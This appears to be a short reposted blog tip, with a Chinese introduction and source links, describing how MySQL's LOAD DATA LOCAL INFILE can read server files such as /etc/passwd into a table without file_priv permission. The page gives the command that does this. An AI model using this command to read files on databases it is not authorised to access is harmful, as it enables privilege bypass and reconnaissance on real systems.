Reading files in MySQL with file_priv = no

好吧,我是在法客上看到園長髮的這篇文章,然後追到烏雲,然後追到源頭,覺得很是實用,所以就貼出來了。


All we know for reading files in MySQL we need file_priv permission.
But there is way for reading files without this permission.

We can create new table and fill this table with data from file:

LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '';
and
select * from test;


參考:http://sb.f4ck.org/thread-18477-1-1.html

      http://zone.wooyun.org/content/12175

      https://bugscollector.com/tricks/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章